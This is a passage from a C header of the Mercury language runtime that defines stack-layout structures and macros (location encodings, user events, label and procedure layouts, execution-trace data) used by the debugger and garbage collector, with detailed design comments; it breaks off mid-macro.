#define MR_LONG_LVAL_CONST_TAGBITS 2
#define MR_LONG_LVAL_TYPE(Locn) \
((MR_LongLvalType) ((Locn) & ((1 << MR_LONG_LVAL_TAGBITS) - 1)))
#define MR_LONG_LVAL_NUMBER(Locn) \
((int) ((Locn) >> MR_LONG_LVAL_TAGBITS))
#define MR_LONG_LVAL_CONST(Locn) \
(* (MR_Word *) ((Locn) & ~ ((1 << MR_LONG_LVAL_CONST_TAGBITS) - 1)))
// This must be in sync with stack_layout.offset_bits.
#define MR_LONG_LVAL_OFFSETBITS 6
#define MR_LONG_LVAL_INDIRECT_OFFSET(LocnNumber) \
((int) ((LocnNumber) & ((1 << MR_LONG_LVAL_OFFSETBITS) - 1)))
#define MR_LONG_LVAL_INDIRECT_BASE_LVAL_INT(LocnNumber) \
(((MR_uint_least32_t) (LocnNumber)) >> MR_LONG_LVAL_OFFSETBITS)
#define MR_LONG_LVAL_STACKVAR_INT(n) \
(((n) << MR_LONG_LVAL_TAGBITS) + MR_LONG_LVAL_TYPE_STACKVAR)
#define MR_LONG_LVAL_FRAMEVAR_INT(n) \
(((n) << MR_LONG_LVAL_TAGBITS) + MR_LONG_LVAL_TYPE_FRAMEVAR)
#define MR_LONG_LVAL_R_REG_INT(n) \
(((n) << MR_LONG_LVAL_TAGBITS) + MR_LONG_LVAL_TYPE_R)
// MR_ShortLval is a MR_uint_least8_t which describes an location. This
// includes lvals such as stack slots and general registers that have small
// numbers, and special registers such as succip, hp, etc.
//
// What kind of location an MR_LongLval refers to is encoded using
// a low tag with 2 bits; the type MR_ShortLval_Type describes
// the different tag values. The interpretation of the rest of the word
// depends on the location type:
//
// Locn Tag Rest
// MR_r(Num) 0 Num (register number)
// MR_stackvar(Num) 1 Num (stack slot number)
// MR_framevar(Num) 2 Num (stack slot number)
// special reg 3 MR_LongLvalType
//
// This data is generated in stack_layout.represent_locn_as_byte,
// which must be kept in sync with the constants and macros defined here.
typedef MR_uint_least8_t MR_ShortLval;
typedef enum {
MR_SHORT_LVAL_TYPE_R,
MR_SHORT_LVAL_TYPE_STACKVAR,
MR_SHORT_LVAL_TYPE_FRAMEVAR,
MR_SHORT_LVAL_TYPE_SPECIAL
} MR_ShortLval_Type;
// This must be in sync with stack_layout.short_lval_tag_bits.
#define MR_SHORT_LVAL_TAGBITS 2
#define MR_SHORT_LVAL_TYPE(Locn) \
((MR_ShortLval_Type) \
(((MR_Word) Locn) & ((1 << MR_SHORT_LVAL_TAGBITS) - 1)))
#define MR_SHORT_LVAL_NUMBER(Locn) \
((int) (((MR_Word) Locn) >> MR_SHORT_LVAL_TAGBITS))
#define MR_SHORT_LVAL_STACKVAR(n) \
((MR_ShortLval) (((n) << MR_SHORT_LVAL_TAGBITS) \
+ MR_SHORT_LVAL_TYPE_STACKVAR))
#define MR_SHORT_LVAL_FRAMEVAR(n) \
((MR_ShortLval) (((n) << MR_SHORT_LVAL_TAGBITS) \
+ MR_SHORT_LVAL_TYPE_FRAMEVAR))
#define MR_SHORT_LVAL_R_REG(n) \
((MR_ShortLval) (((n) << MR_SHORT_LVAL_TAGBITS) \
+ MR_SHORT_LVAL_TYPE_R))
////////////////////////////////////////////////////////////////////////////
// Definitions for MR_UserEvent and MR_UserEventSpec.
// Our layout structures link to information about user events from two places:
// the label layout structures of labels that correspond to user events,
// and the module layout structures of modules that contain user events.
// Label layout structures link to MR_UserEvent structures; module layout
// structures link to MR_UserEventSpec structures. Most of the information
// is in the MR_UserEventSpec structures; MR_UserEvent structures contain
// only information that may differ between two instances of the same event.
// The fields of MR_UserEvent:
//
// The event_number field contains the ordinal number of the event in the
// event set the module was compiled with: it gives the identity of the event.
// (Event numbers start at zero.) This field is also the link to the rest of
// the information about the event, contained in the MR_UserEventSpec structure
// linked to by the module layout structure. The MR_user_event_spec macro
// follows this link.
//
// The next two fields all point to arrays whose length is the number of
// attributes (which is available in the MR_UserEventSpec structure).
//
// attr_locns[i] gives the location where we can find the value of the
// i'th attribute (the first attribute is attribute zero). This is
// meaningful only if the attribute is not a synthesized attribute.
//
// attr_var_nums[i] gives the variable number of the i'th attribute;
// if it contains zero, that means the attribute is synthesized. This field
// is used by the debugger to display the associated value just once
// (not twice, as both attribute and variable value) with "print *". (Note
// that we don't delete the variables that are also attributes from the set of
// live variables in layout structures, because that would require any native
// garbage collector to look at the list of attributes as well as the list of
// other variables, slowing it down.)
typedef MR_uint_least16_t MR_HLDSVarNum;
struct MR_UserEvent_Struct {
MR_uint_least16_t MR_ue_event_number;
MR_LongLval *MR_ue_attr_locns;
const MR_HLDSVarNum *MR_ue_attr_var_nums;
};
// The fields of MR_UserEventSpec:
//
// The event_name field contains the name of the event.
//
// The num_attrs field gives the number of attributes.
//
// The next three fields (attr_names, attr_types and synth_attrs) all point
// to arrays whose length is the number of attributes.
//
// attr_names[i] gives the name of the i'th attribute.
//
// attr_types[i] is the typeinfo giving the type of the i'th attribute.
//
// If the i'th attribute is synthesized, synth_attrs[i] points to the
// information required to synthesize it: the number of the attribute
// containing the synthesis function, the number of arguments of the synthesis
// function, and an array of attribute numbers (of length num_arg_attrs)
// giving the list of those arguments. The depend_attrs field will point to
// a list of numbers of the synthesized attributes whose values must be
// materialized before this attribute can be evaluated. (This list will include
// the argument attributes, and will be in a feasible evaluation order.)
// If the i'th attribute is not synthesized, synth_attrs[i] and depend_attrs[i]
// will both be NULL. (For now, depend_attrs[i] will not be filled in for
// synthesized attributes either.)
//
// The synth_attr_order field points to an array of attribute numbers that
// gives the order in which the values of the synthesized attributes should be
// evaluated. The array is ended by -1 as a sentinel.
//
// The synth_attrs and synth_attr_order fields will both be NULL for events
// that have no synthesized attributes.
struct MR_SynthAttr_Struct {
MR_int_least16_t MR_sa_func_attr;
MR_int_least16_t MR_sa_num_arg_attrs;
MR_uint_least16_t *MR_sa_arg_attrs;
MR_int_least16_t *MR_sa_depend_attrs;
};
struct MR_UserEventSpec_Struct {
const char *MR_ues_event_name;
MR_uint_least16_t MR_ues_num_attrs;
const char **MR_ues_attr_names;
MR_TypeInfo *MR_ues_attr_types;
MR_SynthAttr *MR_ues_synth_attrs;
MR_int_least16_t *MR_ues_synth_attr_order;
};
#define MR_user_event_spec(label_layout) \
label_layout->MR_sll_entry->MR_sle_module_layout-> \
MR_ml_user_event_specs[label_layout->MR_sll_user_event-> \
MR_ue_event_number]
#define MR_user_event_set_name(label_layout) \
label_layout->MR_sll_entry->MR_sle_module_layout-> \
MR_ml_user_event_set_name
////////////////////////////////////////////////////////////////////////////
// Definitions for MR_LabelLayout.
// An MR_LabelLayout structure describes the debugging and accurate gc
// information available at a given label.
//
// The MR_sll_entry field points to the proc layout structure of the procedure
// in which the label occurs.
//
// The MR_sll_port field will contain a negative number if there is no
// execution tracing port associated with the label. If there is, the
// field will contain a value of type MR_TracePort. For labels associated
// with events, this will be the port of the event. For return labels,
// this port will be exception (since exception events are associated with
// the return from the call that raised the exception).
//
// The MR_sll_hidden field contains a boolean which is meaningful only if the
// label corresponds to an execution tracing event. It will be MR_HIDDEN if the
// event should have no effects that the user can see (no message printed, no
// increment of the event number etc), and MR_NOT_HIDDEN otherwise. Hidden
// events are sometimes needed by the declarative debugger to provide the
// proper context for other events.
//
// The MR_sll_goal_path field contains an offset into the module-wide string
// table, leading to a string that gives the goal path associated with the
// label. If there is no meaningful goal path associated with the label,
// the offset will be zero, leading to the empty string. You can use the macro
// MR_label_goal_path to convert the value in the MR_sll_goal_path field to a
// string.
//
// A possible alternative would be to represent goal paths using statically
// allocated terms of the reverse_goal_path type. An almost-complete diff
// making that change was posted to the mercury-reviews mailing list on
// 30 Sep 2011, but it was not committed, since it lead to a 4% *increase*
// in the size of asm_fast.gc.debug executables. Even though different goal
// paths share a tail (the part of the path near the root) with the
// static reverse_goal_path term representation but not with the string
// representation, the string representation is so much more compact
// (usually taking 4 to 6 bytes for most steps) than the Mercury term
// representation (1 to 4 words for a step, plus 2 words for the rgp_cons,
// totalling at least 24 bytes per step on 64 bit systems), that the string
// representation is significantly more compact overall. The Mercury term
// representation does have the potential to speed up the implementation of
// the operations in the declarative debugger that need to test whether
// two goal paths represent two different direct components of the same parent
// goal. If the two different goal paths are represented as reverse_goal_paths,
// then doing this test on RGPA and RGPB simply requires the test
//
// RGPA = rgp_cons(ParentRGPA, StepA),
// RGPB = rgp_cons(ParentRGPB, StepB),
// ParentRGPA = ParentRGPB
//
// and the last step can be done by a pointer comparison. This test can be done
// in constant time, whereas the current implementation of the same test
// (the function MR_trace_same_construct in trace/mercury_trace_declarative.c)
// works in linear time.
//
// If the label is the label of a user-defined event, then the
// MR_sll_user_event field will point to information about the user event;
// otherwise, the field will be NULL.
//
// The remaining fields give information about the values live at the given
// label, if this information is available. If it is available, the
// MR_has_valid_var_count macro will return true and the fields after the count
// are meaningful; if it is not available, the macro will return false and
// those fields are not meaningful (i.e. you are looking at an
// MR_LabelLayoutNoVarInfo structure).
//
// The format in which we store information about the values live at the label
// is somewhat complicated, due to our desire to make this information compact.
// We can represent a location in one of two ways, as an 8-bit MR_ShortLval
// or as a 32-bit MR_LongLval. We prefer representing a location as an
// MR_ShortLval, but of course not all locations can be represented in
// this way, so those other locations are represented as MR_LongLvals.
//
// The MR_sll_var_count field, if it is valid, is encoded by the formula
// (#Long << MR_SHORT_COUNT_BITS + #Short), where #Short is the number
// data items whose descriptions fit into an MR_ShortLval and #Long is the
// number of data items whose descriptions do not. (The number of distinct
// values that fit into 8 bits also fits into 8 bits, but since some
// locations hold the value of more than one variable at a time, not all
// the values need to be distinct; this is why MR_SHORT_COUNT_BITS is
// more than 8.)
//
// The MR_sll_types field points to an array of #Long + #Short
// MR_PseudoTypeInfos each giving the type of a live data item, with
// a small integer instead of a pointer representing a special kind of
// live data item (e.g. a saved succip or hp). This field will be null if
// #Long + #Short is zero.
//
// The MR_sll_long_locns field points to an array of #Long MR_LongLvals,
// while the MR_sll_short_locns field points to an array of #Short
// MR_ShortLvals. The element at index i in the MR_sll_long_locns vector
// will have its type described by the element at index i in the MR_sll_types
// vector, while the element at index i in the MR_sll_short_locns vector
// will have its type described by the element at index #Long + i in the
// MR_sll_types vector. MR_sll_long_locns will be NULL if #Long is zero,
// and similarly MR_sll_short_locns will be NULL if #Short is zero.
//
// The MR_sll_var_nums field may be NULL, which means that there is no
// information about the variable numbers of the live values. If the field
// is not NULL, it points to a vector of variable numbers, which has an element
// for each live data item. This is either the live data item's HLDS variable
// number, or one of two special values. Zero means that the live data item
// is not a variable (e.g. it is a saved copy of succip). The largest possible
// 16-bit number on the other hand means "the number of this variable does not
// fit into 16 bits". With the exception of these special values, the value
// in this slot uniquely identifies the live data item. (Not being able to
// uniquely identify nonvariable data items is never a problem. Not being able
// to uniquely identify variables is a problem, at the moment, only to the
// extent that the debugger cannot print their names.)
//
// The types of the live variables may or may not have type variables in them.
// If they do not, the MR_sll_tvars field will be NULL. If they do, it will
// point to an MR_TypeParamLocns structure that gives the locations of the
// typeinfos for those type variables. This structure gives the number of type
// variables and their locations, so that the code that needs the type
// parameters can materialize all the type parameters from their location
// descriptions in one go. This is an optimization, since the type parameter
// vector could simply be indexed on demand by the type variable's variable
// number stored within the MR_PseudoTypeInfos stored inside the vector
// pointed to by the MR_sll_types field.
//
// Since we allocate type variable numbers sequentially, the MR_tp_param_locns
// vector will usually be dense. However, after all variables whose types
// include e.g. type variable 2 have gone out of scope, variables whose
// types include type variable 3 may still be around. In cases like this,
// the entry for type variable 2 will be zero; this signals to the code
// in the internal debugger that materializes typeinfo structures that
// this typeinfo structure need not be materialized. Note that the array
// element MR_tp_param_locns[i] describes the location of the typeinfo
// structure for type variable i+1, since array offsets start at zero
// but type variable numbers start at one.
//
// The MR_sll_label_num_in_module is used for counting the number of times
// the event of this label is executed. It gives the label's index in the
// array pointed to by the module layout's MR_ml_label_exec_count field;
// whenever the event of this label is executed, the element in that array
// indicated by this index will be incremented (when MR_trace_count_enabled
// is set). The array element at index zero is ignored. A label layout will
// have zero in its MR_sll_label_num_in_module field if the label doesn't
// correspond to an event.
//
// XXX: Presently, inst information is ignored; we assume that all live values
// are ground.
#define MR_HIDDEN 1
#define MR_NOT_HIDDEN 0
struct MR_TypeParamLocns_Struct {
MR_uint_least32_t MR_tp_param_count;
MR_LongLval MR_tp_param_locns[MR_VARIABLE_SIZED];
};
struct MR_LabelLayout_Struct {
const MR_ProcLayout *MR_sll_entry;
MR_int_least8_t MR_sll_port;
MR_int_least8_t MR_sll_hidden;
MR_uint_least16_t MR_sll_label_num_in_module;
MR_uint_least32_t MR_sll_goal_path;
const MR_UserEvent *MR_sll_user_event;
MR_Integer MR_sll_var_count; // >= 0, encoding Long > 0
const MR_TypeParamLocns *MR_sll_tvars;
const MR_PseudoTypeInfo *MR_sll_types;
const MR_HLDSVarNum *MR_sll_var_nums;
const MR_ShortLval *MR_sll_short_locns;
const MR_LongLval *MR_sll_long_locns;
};
typedef struct MR_LabelLayoutShort_Struct {
const MR_ProcLayout *MR_sll_entry;
MR_int_least8_t MR_sll_port;
MR_int_least8_t MR_sll_hidden;
MR_uint_least16_t MR_sll_label_num_in_module;
MR_uint_least32_t MR_sll_goal_path;
const MR_UserEvent *MR_sll_user_event;
MR_Integer MR_sll_var_count; // >= 0 , encoding Long == 0
const MR_TypeParamLocns *MR_sll_tvars;
const MR_PseudoTypeInfo *MR_sll_types;
const MR_HLDSVarNum *MR_sll_var_nums;
const MR_ShortLval *MR_sll_short_locns;
} MR_LabelLayoutShort;
typedef struct MR_LabelLayoutNoVarInfo_Struct {
const MR_ProcLayout *MR_sll_entry;
MR_int_least8_t MR_sll_port;
MR_int_least8_t MR_sll_hidden;
MR_uint_least16_t MR_sll_label_num_in_module;
MR_uint_least32_t MR_sll_goal_path;
const MR_UserEvent *MR_sll_user_event;
MR_Integer MR_sll_var_count; // < 0
} MR_LabelLayoutNoVarInfo;
#define MR_label_goal_path(layout) \
((MR_PROC_LAYOUT_HAS_EXEC_TRACE((layout)->MR_sll_entry)) ? \
((layout)->MR_sll_entry->MR_sle_module_layout \
->MR_ml_string_table \
+ ((layout)->MR_sll_goal_path >> 1)) \
: "")
#define MR_SHORT_COUNT_BITS 10
#define MR_SHORT_COUNT_MASK ((1 << MR_SHORT_COUNT_BITS) - 1)
#define MR_has_valid_var_count(sll) \
(((sll)->MR_sll_var_count) >= 0)
#define MR_has_valid_var_info(sll) \
(((sll)->MR_sll_var_count) > 0)
#define MR_short_desc_var_count(sll) \
(((sll)->MR_sll_var_count) & MR_SHORT_COUNT_MASK)
#define MR_long_desc_var_count(sll) \
(((sll)->MR_sll_var_count) >> MR_SHORT_COUNT_BITS)
#define MR_all_desc_var_count(sll) \
(MR_long_desc_var_count(sll) + MR_short_desc_var_count(sll))
#define MR_var_pti(sll, i) \
((sll)->MR_sll_types[(i)])
#define MR_short_desc_var_locn(sll, i) \
((sll)->MR_sll_short_locns[(i)])
#define MR_long_desc_var_locn(sll, i) \
((sll)->MR_sll_long_locns[(i)])
// Define a stack layout for an internal label.
//
// The only useful information in the structures created by this macro
// is the reference to the procedure layout, which allows you to find the
// stack frame size and the succip location, thereby enabling stack tracing.
//
// For the native garbage collector, we will need to add meaningful
// live value information as well to these macros.
#define MR_LAYOUT_FROM_LABEL(label) \
MR_PASTE2(mercury_data__label_layout__, label)
#define MR_LABEL_LAYOUT_REF(label) \
((const MR_LabelLayout *) &MR_LAYOUT_FROM_LABEL(MR_add_prefix(label)))
#define MR_MAKE_USER_INTERNAL_LAYOUT(module, name, arity, mode, label) \
MR_LabelLayoutNoVarInfo \
MR_label_layout_user_name(module, name, arity, mode, label) = { \
(MR_ProcLayout *) & \
MR_proc_layout_user_name(module, name, arity, mode), \
0, \
-1, \
MR_FALSE, \
0, \
0, \
-1 /* No info about live values. */ \
}
////////////////////////////////////////////////////////////////////////////
// These macros are used as shorthands in generated C source files
// for some fields of MR_LabelLayouts.
//
// We need to cast the addresses of proc layout structures because there
// are several kinds of proc layouts, of different (though compatible) types.
#define MR_LL(e, port, num, path) \
MR_PROC_LAYOUT(MR_add_prefix(e)), \
MR_PASTE2(MR_PORT_, port), \
MR_NOT_HIDDEN, (num), (path), NULL
#define MR_LL_H(e, port, num, path) \
MR_PROC_LAYOUT(MR_add_prefix(e)), \
MR_PASTE2(MR_PORT_, port), \
MR_HIDDEN, (num), (path), NULL
#define MR_LL_U(e, port, num, path, ue) \
MR_PROC_LAYOUT(MR_add_prefix(e)), \
MR_PASTE2(MR_PORT_, port), \
MR_NOT_HIDDEN, (num), (path), (ue)
#define MR_LL_H_U(e, port, num, path, ue) \
MR_PROC_LAYOUT(MR_add_prefix(e)), \
MR_PASTE2(MR_PORT_, port), \
MR_HIDDEN, (num), (path), (ue)
#define MR_LLVS(m, p, h, s) \
&MR_pseudo_type_infos(m)[p], \
&MR_hlds_var_nums(m)[h], \
&MR_short_locns(m)[s]
#define MR_LLVL(m, p, h, s, l) \
&MR_pseudo_type_infos(m)[p], \
&MR_hlds_var_nums(m)[h], \
&MR_short_locns(m)[s], \
&MR_long_locns(m)[l]
#define MR_LLVS0(m, p, h, s) \
0, \
MR_LLVS(m, p, h, s)
#define MR_LLVL0(m, p, h, s, l) \
0, \
MR_LLVL(m, p, h, s, l)
#define MR_LLVSC(m, tpt, tpc, p, h, s) \
(const MR_TypeParamLocns *) MR_COMMON(tpt, tpc), \
MR_LLVS(m, p, h, s)
#define MR_LLVLC(m, tpt, tpc, p, h, s, l) \
(const MR_TypeParamLocns *) MR_COMMON(tpt, tpc), \
MR_LLVL(m, p, h, s, l)
#define MR_cast_to_pti1(r1) \
(MR_PseudoTypeInfo) (r1),
#define MR_cast_to_pti2(r1, r2) \
(MR_PseudoTypeInfo) (r1), \
(MR_PseudoTypeInfo) (r2),
#define MR_cast_to_pti3(r1, r2, r3) \
(MR_PseudoTypeInfo) (r1), \
(MR_PseudoTypeInfo) (r2), \
(MR_PseudoTypeInfo) (r3)
#define MR_cast_to_pti4(r1, r2, r3, r4) \
(MR_PseudoTypeInfo) (r1), \
(MR_PseudoTypeInfo) (r2), \
(MR_PseudoTypeInfo) (r3), \
(MR_PseudoTypeInfo) (r4),
#define MR_cast_to_pti5(r1, r2, r3, r4, r5) \
(MR_PseudoTypeInfo) (r1), \
(MR_PseudoTypeInfo) (r2), \
(MR_PseudoTypeInfo) (r3), \
(MR_PseudoTypeInfo) (r4), \
(MR_PseudoTypeInfo) (r5),
#define MR_cast_to_pti6(r1, r2, r3, r4, r5, r6) \
(MR_PseudoTypeInfo) (r1), \
(MR_PseudoTypeInfo) (r2), \
(MR_PseudoTypeInfo) (r3), \
(MR_PseudoTypeInfo) (r4), \
(MR_PseudoTypeInfo) (r5), \
(MR_PseudoTypeInfo) (r6),
#define MR_cast_to_pti7(r1, r2, r3, r4, r5, r6, r7) \
(MR_PseudoTypeInfo) (r1), \
(MR_PseudoTypeInfo) (r2), \
(MR_PseudoTypeInfo) (r3), \
(MR_PseudoTypeInfo) (r4), \
(MR_PseudoTypeInfo) (r5), \
(MR_PseudoTypeInfo) (r6), \
(MR_PseudoTypeInfo) (r7),
#define MR_cast_to_pti8(r1, r2, r3, r4, r5, r6, r7, r8) \
(MR_PseudoTypeInfo) (r1), \
(MR_PseudoTypeInfo) (r2), \
(MR_PseudoTypeInfo) (r3), \
(MR_PseudoTypeInfo) (r4), \
(MR_PseudoTypeInfo) (r5), \
(MR_PseudoTypeInfo) (r6), \
(MR_PseudoTypeInfo) (r7), \
(MR_PseudoTypeInfo) (r8),
#define MR_cast_to_pti9(r1, r2, r3, r4, r5, r6, r7, r8, r9) \
(MR_PseudoTypeInfo) (r1), \
(MR_PseudoTypeInfo) (r2), \
(MR_PseudoTypeInfo) (r3), \
(MR_PseudoTypeInfo) (r4), \
(MR_PseudoTypeInfo) (r5), \
(MR_PseudoTypeInfo) (r6), \
(MR_PseudoTypeInfo) (r7), \
(MR_PseudoTypeInfo) (r8), \
(MR_PseudoTypeInfo) (r9),
#define MR_cast_to_pti10(r1, r2, r3, r4, r5, r6, r7, r8, r9, r10) \
(MR_PseudoTypeInfo) (r1), \
(MR_PseudoTypeInfo) (r2), \
(MR_PseudoTypeInfo) (r3), \
(MR_PseudoTypeInfo) (r4), \
(MR_PseudoTypeInfo) (r5), \
(MR_PseudoTypeInfo) (r6), \
(MR_PseudoTypeInfo) (r7), \
(MR_PseudoTypeInfo) (r8), \
(MR_PseudoTypeInfo) (r9), \
(MR_PseudoTypeInfo) (r10),
////////////////////////////////////////////////////////////////////////////
// Definitions for MR_ProcLayout.
// The MR_TableIoEntry structure.
//
// To enable printing and declarative debugging of I/O actions, the compiler
// generates one of these structures for each I/O primitive. The compiler
// transforms the bodies of those primitives to create a block of memory
// (the answerblock, the action's entry in the I/O table), and fill it in with
//
// - a pointer to the primitive's MR_TableIoEntry structure, and
// - the values of some of the primitive's arguments (excluding the
// I/O states, which are dummies).
//
// The arguments in the answerblock will always include the output arguments,
// since I/O tabling needs these to make the primitive idempotent.
// If the primitive does not have type class constraints, it will include
// the values of the input arguments as well, for two reasons:
//
// - to present them to the user on request, either via mdb's browsing
// commands, or via the declarative debugger
//
// - the input typeinfo arguments are needed to present the value of other
// arguments, both inputs and outputs, to the user.
//
// In the presence of typeclass constraints on the predicate, we cannot
// guarantee that we can encode the locations of the typeinfos (which may be
// arbitrarily deep inside typeclass_infos) in our fixed size location
// descriptions. We therefore set the have_arg_infos field to false,
// indicating that none of the following fields contain meaningful information.
//
// In the absence of typeclass constraints on the predicate, we set the
// have_arg_infos field to true. In that case, num_ptis will contain the
// number of arguments in the answer block, the ptis field will point to
// a vector of num_ptis pseudo-typeinfos (one for each argument in the answer
// block), and the type_params field maps the type variables that occur
// in the pseudo-typeinfos to the locations of the typeinfos describing
// the types bound to them.
//
// The entry_proc field, which is always meaningful, identifies the procedure
// that created the I/O table entry.
typedef struct MR_TableIoEntry_Struct {
const MR_ProcLayout *MR_table_io_entry_proc;
MR_bool MR_table_io_entry_have_arg_infos;
MR_Integer MR_table_io_entry_num_ptis;
const MR_PseudoTypeInfo *MR_table_io_entry_ptis;
const MR_TypeParamLocns *MR_table_io_entry_type_params;
} MR_TableIoEntry;
// MR_TableInfo: compiler generated information describing the tabling
// data structures used by a procedure.
//
// For I/O tabled procedures, the information is in the io_decl field.
// For other kinds of tabled procedures, it is in the gen field.
// The init field is used for initialization only.
//
// The MR_table_proc field is not const because the structure it points to
// has fields containing statistics, which are updated at runtime.
typedef union {
const void *MR_table_init;
const MR_TableIoEntry *MR_table_io_entry;
const MR_Table_Gen *MR_table_gen;
MR_ProcTableInfo *MR_table_proc;
} MR_TableInfo;
// The MR_StackTraversal structure contains the following fields:
//
// The code_addr field points to the start of the procedure's code.
// This allows the profiler to figure out which procedure a sampled program
// counter belongs to, and allows the debugger to implement retry.
//
// The succip_locn field encodes the location of the saved succip if it is
// saved in a general purpose stack slot. If the succip is saved in a special
// purpose stack slot (as it is for model_non procedures) or if the procedure
// never saves the succip (as in leaf procedures), this field will contain -1.
//
// The stack_slots field gives the number of general purpose stack slots
// in the procedure.
//
// The detism field encodes the determinism of the procedure.
typedef struct MR_StackTraversal_Struct {
MR_Code *MR_trav_code_addr;
MR_LongLval MR_trav_succip_locn;
MR_int_least16_t MR_trav_stack_slots;
MR_Determinism MR_trav_detism;
} MR_StackTraversal;
#define MR_PROC_LAYOUT_IS_UCI(entry) \
MR_PROC_ID_IS_UCI(entry->MR_sle_proc_id)
// The MR_ExecTrace structure contains the following fields.
//
// The call_label field points to the label layout structure for the label
// associated with the call event at the entry to the procedure. The purpose
// of this field is to allow the debugger to find out which variables
// are where on entry, so it can reexecute the procedure if asked to do so
// and if the values of the required variables are still available.
//
// The labels field contains a pointer to an array of pointers to label layout
// structures; the size of the array is given by the num_labels field. The
// initial part of the array will contain a pointer to the label layout
// structure of every interface event in the procedure; the later parts will
// contain a pointer to the label layout structure of every internal event.
// There is no ordering on the events beyond interface first, internal second.
//
// The used_var_names field points to an array that contains offsets
// into the string table, with the offset at index i-1 giving the name of
// variable i (since variable numbers start at one). If a variable has no name
// or cannot be referred to from an event, the offset will be zero, at which
// offset the string table will contain an empty string.
//
// The max_named_var_num field gives the number of elements in the
// used_var_names table, which is also the number of the highest numbered
// named variable. Note that unnamed variables may have numbers higher than
// this.
//
// The max_r_num field tells the debugger which Mercury abstract machine
// registers need saving in MR_trace: besides the special registers, it is
// the general-purpose registers rN for values of N up to and including the
// value of this field. Note that this field contains an upper bound; in
// general, there will be calls to MR_trace at which the number of the highest
// numbered general purpose (i.e. rN) registers is less than this. However,
// storing the upper bound gets us almost all the benefit (of not saving and
// restoring all the thousand rN registers) for a small fraction of the static
// space cost of storing the actual number in label layout structures.
//
// If the procedure is compiled with deep tracing, the maybe_from_full field
// will contain a negative number. If it is compiled with shallow tracing,
// it will contain the number of the stack slot that holds the flag that says
// whether this incarnation of the procedure was called from deeply traced code
// or not. (The determinism of the procedure decides whether the stack slot
// refers to a stackvar or a framevar.)
//
// If tabling of I/O actions is enabled, the maybe_io_seq field will contain
// the number of the stack slot that holds the value the I/O action counter
// had on entry to this procedure. Even procedures that do not have I/O state
// arguments will have such a slot, since they or their descendants may call
// unsafe_perform_io.
//
// If trailing is not enabled, the maybe_trail field will contain a negative
// number. If it is enabled, it will contain number of the first of two stack
// slots used for checkpointing the state of the trail on entry to the
// procedure. The first contains the trail pointer, the second the ticket.
//
// If the procedure lives on the nondet stack, or if it cannot create any
// temporary nondet stack frames, the maybe_maxfr field will contain a negative
// number. If it lives on the det stack, and can create temporary nondet stack
// frames, it will contain the number number of the stack slot that contains the
// value of maxfr on entry, for use in executing the retry debugger command
// from the middle of the procedure.
//
// The eval_method field contains a representation of the evaluation method
// used by the procedure. The retry command needs this information if it is
// to reset the call tables of the procedure invocations being retried.
//
// We cannot put enums into structures as bit fields. To avoid wasting space,
// we put MR_EvalMethodInts into structures instead of MR_EvalMethods
// themselves.
//
// If the procedure is compiled with some form of tabling, the maybe_call_table
// field contains the number of the stack slot through which we can reach the
// call table entry for this call. In forms of tabling which associate a C
// structure (MR_Subgoal, MR_MemoNonRecord) with a call table entry, the slot
// will point to that structure; in other forms of tabling, it will point
// to the call's MR_TableNode.
//
// The flags field encodes boolean properties of the procedure. For now,
// the only property is whether the procedure has a pair of I/O state
// arguments.
//
// If the procedure lives on the nondet stack, or if it cannot create any
// temporary nondet stack frames, the maybe_maxfr field will contain a negative
// number. If it lives on the det stack, and can create temporary nondet stack
// frames, it will contain the number of the stack slot that contains the
// value of maxfr on entry, for use in executing the retry debugger command
// from the middle of the procedure.
#define MR_EVAL_METHOD_MEMO_STRICT MR_EVAL_METHOD_MEMO
#define MR_EVAL_METHOD_MEMO_FAST_LOOSE MR_EVAL_METHOD_MEMO
#define MR_EVAL_METHOD_MEMO_SPECIFIED MR_EVAL_METHOD_MEMO
typedef enum {
MR_EVAL_METHOD_NORMAL,
MR_EVAL_METHOD_LOOP_CHECK,
MR_EVAL_METHOD_MEMO,
MR_EVAL_METHOD_MINIMAL_STACK_COPY,
MR_EVAL_METHOD_MINIMAL_OWN_STACKS_CONSUMER,
MR_EVAL_METHOD_MINIMAL_OWN_STACKS_GENERATOR,
MR_EVAL_METHOD_TABLE_IO,
MR_EVAL_METHOD_TABLE_IO_DECL,
MR_EVAL_METHOD_TABLE_IO_UNITIZE,
MR_EVAL_METHOD_TABLE_IO_UNITIZE_DECL
} MR_EvalMethod;
typedef MR_int_least8_t MR_EvalMethodInt;
typedef enum {
MR_DEFINE_MERCURY_ENUM_CONST(MR_TRACE_LEVEL_NONE),
MR_DEFINE_MERCURY_ENUM_CONST(MR_TRACE_LEVEL_BASIC),
MR_DEFINE_MERCURY_ENUM_CONST(MR_TRACE_LEVEL_BASIC_USER),
MR_DEFINE_MERCURY_ENUM_CONST(MR_TRACE_LEVEL_SHALLOW),
MR_DEFINE_MERCURY_ENUM_CONST(MR_TRACE_LEVEL_DEEP),
MR_DEFINE_MERCURY_ENUM_CONST(MR_TRACE_LEVEL_DECL_REP)
} MR_TraceLevel;
typedef MR_int_least8_t MR_TraceLevelInt;
typedef struct MR_ExecTrace_Struct {
const MR_LabelLayout *MR_exec_call_label;
const MR_ModuleLayout *MR_exec_module_layout;
const MR_LabelLayout **MR_exec_labels;
MR_uint_least32_t MR_exec_num_labels;
MR_TableInfo MR_exec_table_info;
const MR_uint_least16_t *MR_exec_head_var_nums;
const MR_uint_least32_t *MR_exec_used_var_names;
MR_uint_least16_t MR_exec_num_head_vars;
MR_uint_least16_t MR_exec_max_named_var_num;
MR_uint_least16_t MR_exec_max_r_num;
MR_uint_least16_t MR_exec_max_f_num;
MR_int_least8_t MR_exec_maybe_from_full;
MR_int_least8_t MR_exec_maybe_io_seq;
MR_int_least8_t MR_exec_maybe_trail;
MR_int_least8_t MR_exec_maybe_maxfr;
MR_EvalMethodInt MR_exec_eval_method_CAST_ME;
MR_int_least8_t MR_exec_maybe_call_table;
MR_TraceLevelInt MR_exec_trace_level_CAST_ME;
MR_uint_least8_t MR_exec_flags;
MR_int_least8_t MR_exec_maybe_tail_rec;
} MR_ExecTrace;
#define MR_compute_max_mr_num(max_mr_num, layout) \
do { \
int max_r_num; \
\
max_r_num = (layout)->MR_sll_entry->MR_sle_max_r_num + \
MR_NUM_SPECIAL_REG; \
max_mr_num = MR_max(max_r_num, MR_FIRST_UNREAL_R_SLOT); \
} while (0)
// The code in the compiler that creates the flag field is
// encode_exec_trace_flags in stack_layout.m.
#define MR_PROC_LAYOUT_FLAG_HAS_IO_STATE_PAIR 0x1
#define MR_PROC_LAYOUT_FLAG_HAS_HIGHER_ORDER_ARG 0x2
#define MR_trace_find_reused_frames(proc_layout, sp, reused_frames) \
do { \
